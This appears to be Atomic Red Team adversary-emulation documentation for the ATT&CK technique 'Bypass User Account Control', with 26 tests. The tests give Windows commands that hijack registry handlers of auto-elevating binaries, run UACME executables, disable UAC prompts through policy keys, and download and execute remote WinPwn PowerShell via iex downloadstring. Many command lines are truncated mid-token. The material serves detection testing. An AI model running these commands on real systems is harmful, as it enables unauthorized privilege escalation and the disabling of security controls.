T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control

Description from ATT&CK

> Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
> If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also

> be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
>
> Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
>
> - `eventvwr.exe` can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
>
> Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

Atomic Tests

- Atomic Test #1 - Bypass UAC using Event Viewer (cmd)
- Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)
- Atomic Test #3 - Bypass UAC using Fodhelper
- Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell
- Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)
- Atomic Test #6 - Bypass UAC by Mocking Trusted Directories
- Atomic Test #7 - Bypass UAC using sdclt DelegateExecute
- Atomic Test #8 - Disable UAC using reg.exe
- Atomic Test #9 - Bypass UAC using SilentCleanup task
- Atomic Test #10 - UACME Bypass Method 23
- Atomic Test #11 - UACME Bypass Method 31
- Atomic Test #12 - UACME Bypass Method 33

- Atomic Test #13 - UACME Bypass Method 34
- Atomic Test #14 - UACME Bypass Method 39
- Atomic Test #15 - UACME Bypass Method 56
- Atomic Test #16 - UACME Bypass Method 59
- Atomic Test #17 - UACME Bypass Method 61
- Atomic Test #18 - WinPwn - UAC Magic
- Atomic Test #19 - WinPwn - UAC Bypass ccmstp technique
- Atomic Test #20 - WinPwn - UAC Bypass DiskCleanup technique
- Atomic Test #21 - WinPwn - UAC Bypass DccwBypassUAC technique
- Atomic Test #22 - Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key
- Atomic Test #23 - UAC Bypass with WSReset Registry Modification
- Atomic Test #24 - Disable UAC - Switch to the secure desktop when prompting for elevation via registry key
- Atomic Test #25 - Disable UAC notification via registry keys
- Atomic Test #26 - Disable ConsentPromptBehaviorAdmin via registry keys

Atomic Test #1 - Bypass UAC using Event Viewer (cmd)

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privileges.

Supported Platforms: Windows

auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with `command_prompt`!

```
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_
cmd.exe /c eventvwr.msc
```

Cleanup Commands:

```
reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1
```

Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)

PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privalages

Supported Platforms: Windows

auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with `powershell`!

```
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(defau
Start-Process "C:\Windows\System32\eventvwr.msc"
```

Cleanup Commands:

```
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
```

Atomic Test #3 - Bypass UAC using Fodhelper

Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.

Supported Platforms: Windows

auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with `command_prompt`!

```
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executal
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecu
fodhelper.exe
```

Cleanup Commands:

```
reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1
```

Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened.

Supported Platforms: Windows

auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with `powershell`!

```
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "De
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(d
Start-Process "C:\Windows\System32\fodhelper.exe"
```

Cleanup Commands:

```
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignor
```

Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)

PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 Upon execution administrative command prompt should open

Supported Platforms: Windows

auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with `powershell`!

```
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "De
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(d
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
```

Cleanup Commands:

```
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignor
```

Atomic Test #6 - Bypass UAC by Mocking Trusted Directories

Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch

Supported Platforms: Windows

auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1

Inputs:

Name	Description	Type	Default Value
executable_binary	Binary to execute with UAC Bypass	path	C:\Windows\System32\cmd.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
mkdir "\\?\C:\Windows \System32\"
copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
```

Cleanup Commands:

```
rd "\\?\C:\Windows \" /S /Q >nul 2>nul
del "c:\testbypass.exe" >nul 2>nul
```

Atomic Test #7 - Bypass UAC using sdclt DelegateExecute

Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe Reference - sevagas.com Adapted from MITRE ATT&CK Evals

Supported Platforms: Windows

auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7

Inputs:

Name	Description	Type	Default Value
command_to_execute	Command to execute	string	cmd.exe /c notepad.exe

Attack Commands: Run with `powershell`!

```
New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3
```

Cleanup Commands:

```
Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ign
```

Atomic Test #8 - Disable UAC using reg.exe

Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0

Supported Platforms: Windows

auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Enab
```

Cleanup Commands:

```
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Enab
```

Atomic Test #9 - Bypass UAC using SilentCleanup task

Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

For example, we can set the windir registry kye to: "cmd /k REM "

And forcefully run SilentCleanup task:

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.

Supported Platforms: Windows

auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608

Inputs:

Name	Description	Type	Default Value
file_path	Path to the bat file	string	PathToAtomicsFolder\T1548.002\src\T1548.002.bat

Attack Commands: Run with `command_prompt`!

```
"#{file_path}"
```

Atomic Test #10 - UACME Bypass Method 23

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Leo Davidson derivative

Type: Dll Hijack

Method: IFileOperation

Target: \system32\pkgmgr.exe

Component: DismCore.dll

Implementation: ucmDismMethod

UCM Method: UacMethodDISM

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\23Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
```

```
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #11 - UACME Bypass Method 31

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3

Type: Shell API

Method: Registry key manipulation

Target: \system32\sdclt.exe

Component: Attacker defined

Implementation: ucmSdcltIsolatedCommandMethod

UCM Method: UacMethodShellSdclt

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\31Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #12 - UACME Bypass Method 33

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: winscripting.blog

Type: Shell API

Method: Registry key manipulation

Target: \system32\fodhelper.exe

Component: Attacker defined

Implementation: ucmShellRegModMethod

UCM Method: UacMethodMsSettings2

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\33 Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #13 - UACME Bypass Method 34

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type: Shell API

Method: Environment variables expansion

Target: \system32\svchost.exe via \system32\schtasks.exe

Component: Attacker defined

Implementation: ucmDiskCleanupEnvironmentVariable

UCM Method: UacMethodDiskSilentCleanup

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\34Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #14 - UACME Bypass Method 39

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Stefan Kanthak

Type: Dll Hijack

Method: .NET Code Profiler

Target: \system32\mmc.exe

Component: Attacker defined

Implementation: ucmCorProfilerMethod

UCM Method: UacMethodCorProfiler

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\39 Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
```

```
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #15 - UACME Bypass Method 56

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Hashim Jawad

Type: Shell API

Method: Registry key manipulation

Target: \system32\WSReset.exe

Component: Attacker defined

Implementation: ucmShellRegModMethod

UCM Method: UacMethodShellWSReset

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\56Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #16 - UACME Bypass Method 59

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type: AppInfo ALPC

Method: RAiLaunchAdminProcess and DebugObject

Target: Attacker defined

Component: Attacker defined

Implementation: ucmDebugObjectMethod

UCM Method: UacMethodDebugObject

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\59 Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #17 - UACME Bypass Method 61

Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3/bytecode77 derivative by Nassim Asrir

Type: Shell API

Method: Registry key manipulation

Target: \system32\slui.exe, \system32\changepk.exe

Component: Attacker defined

Implementation: ucmShellRegModMethod

UCM Method: UacMethodDebugObject

https://github.com/hfiref0x/UACME

Supported Platforms: Windows

auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236

Inputs:

Name	Description	Type	Default Value
uacme_exe	Path to uacme executable	path	PathToAtomicsFolder\..\ExternalPayloads\uacme\61Akagi64.exe

Attack Commands: Run with `command_prompt`!

```
"#{uacme_exe}"
```

Cleanup Commands:

```
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: UACME executable must exist on disk at specified location ("#{uacme_exe}")

Check Prereq Commands:

```
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

```
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsF
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force
```

Atomic Test #18 - WinPwn - UAC Magic

UAC bypass using Magic technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 964d8bf8-37bc-4fd3-ba36-ad13761ebbcc

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic
```

Atomic Test #19 - WinPwn - UAC Bypass ccmstp technique

UAC bypass using ccmstp technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: f3c145f9-3c8d-422c-bd99-296a17a8f567

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmst
```

Atomic Test #20 - WinPwn - UAC Bypass DiskCleanup technique

UAC bypass using DiskCleanup technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 1ed67900-66cd-4b09-b546-2a0ef4431a0c

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCl
```

Atomic Test #21 - WinPwn - UAC Bypass DccwBypassUAC technique

UAC Bypass DccwBypassUAC technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 2b61977b-ae2d-4ae4-89cb-5c36c89586be

Attack Commands: Run with `powershell`!

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
```

Atomic Test #22 - Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key

Disable User Account Conrol (UAC) for admin by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

MedusaLocker Ransomware, Purple Fox Rootkit, Avaddon Ransomware

Supported Platforms: Windows

auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -
```

Cleanup Commands:

```
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -
```

Atomic Test #23 - UAC Bypass with WSReset Registry Modification

The following UAC bypass is focused on a registry key under "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command" that will trigger a command once wsreset.exe runs. This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be. If successful, the command to run will spawn off wsreset.exe. UAC Bypass in Windows 10 Store Binary

Supported Platforms: Windows

auto_generated_guid: 3b96673f-9c92-40f1-8a3e-ca060846f8d9

Inputs:

Name	Description	Type	Default Value

commandpath	Registry path	string	HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5c
commandtorun	Command to run	string	C:\Windows\System32\cmd.exe /c start cmd.exe

Attack Commands: Run with `powershell`!

```
New-Item #{commandpath} -Force | Out-Null
New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Ou
Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -F
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle H
```

Cleanup Commands:

```
Remove-Item #{commandpath} -Recurse -Force
```

Atomic Test #24 - Disable UAC - Switch to the secure desktop when prompting for elevation via registry key

User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. This setting ensures that the elevation prompt is only used in secure desktop mode. Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0.

Supported Platforms: Windows

auto_generated_guid: 85f3a526-4cfa-4fe7-98c1-dea99be025c7

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -N
```

Cleanup Commands:

```
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -I
```

Atomic Test #25 - Disable UAC notification via registry keys

This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicious software to execute with elevated privileges. Article

Supported Platforms: Windows

auto_generated_guid: 160a7c77-b00e-4111-9e45-7c2a44eda3fd

Attack Commands: Run with `command_prompt`!

```
reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD
```

Cleanup Commands:

```
reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD
```

Atomic Test #26 - Disable ConsentPromptBehaviorAdmin via registry keys

This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by

users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction.

Supported Platforms: Windows

auto_generated_guid: a768aaa2-2442-475c-8990-69cf33af0f4e

Attack Commands: Run with `command_prompt`!

```
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v Consen
```

Cleanup Commands:

```
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v Consen
```